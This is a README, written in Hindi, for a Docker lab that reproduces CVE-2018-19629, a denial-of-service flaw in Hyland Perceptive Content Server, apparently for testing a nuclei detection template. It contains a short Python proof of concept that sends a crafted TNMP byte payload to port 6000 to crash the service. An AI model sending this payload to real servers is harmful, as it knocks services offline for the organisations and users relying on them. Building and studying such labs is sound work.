CVE-2018-19629 परीक्षण वातावरण

CVE-2018-19629 के लिए डॉकर परीक्षण वातावरण - Hyland Perceptive Content Server सेवा अस्वीकार हमला।

भेद्यता विवरण

विवरण

Hyland Perceptive Content Server 7.1.5 से पहले के संस्करण में सेवा अस्वीकार भेद्यता है जो TCP कनेक्शन के माध्यम से ImageNow Server सेवा को क्रैश करने के कारण होती है। हमलावर TNMP हेडर अनुक्रम वाले विशेष रूप से तैयार किए गए TCP पैकेट भेजकर सेवा को बाधित कर सकते हैं।

त्वरित आरंभ

# Start the vulnerable environment
docker-compose up -d

# Verify it's listening
# (You might need netcat or similar)
nc -zv localhost 6000

Nuclei के साथ परीक्षण

# Test with nuclei template
nuclei -t ../network/cves/2018/CVE-2018-19629.yaml -u localhost:6000

मैन्युअल सत्यापन

आप Python का उपयोग करके मैन्युअल रूप से क्रैश ट्रिगर कर सकते हैं:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 6000))
# The crafted packet
payload = b'\x54\x4e\x4d\x50\x04\x00\x00\x00\x54\x4e\x4d\x45\x00\x00\x04\x00'
s.send(payload)
s.close()

क्रैश देखने के लिए लॉग जांचें:

docker logs -f imagenow-vuln

आपको यह देखना चाहिए: [!] CRITICAL: Recevied malicious 'TNMP' packet... और उसके बाद कंटेनर पुनरारंभ हो रहा है।

वातावरण विवरण

• पोर्ट: 6000 (TCP)
• प्रोटोकॉल: कस्टम TCP (ImageNow)

सफाई

docker-compose down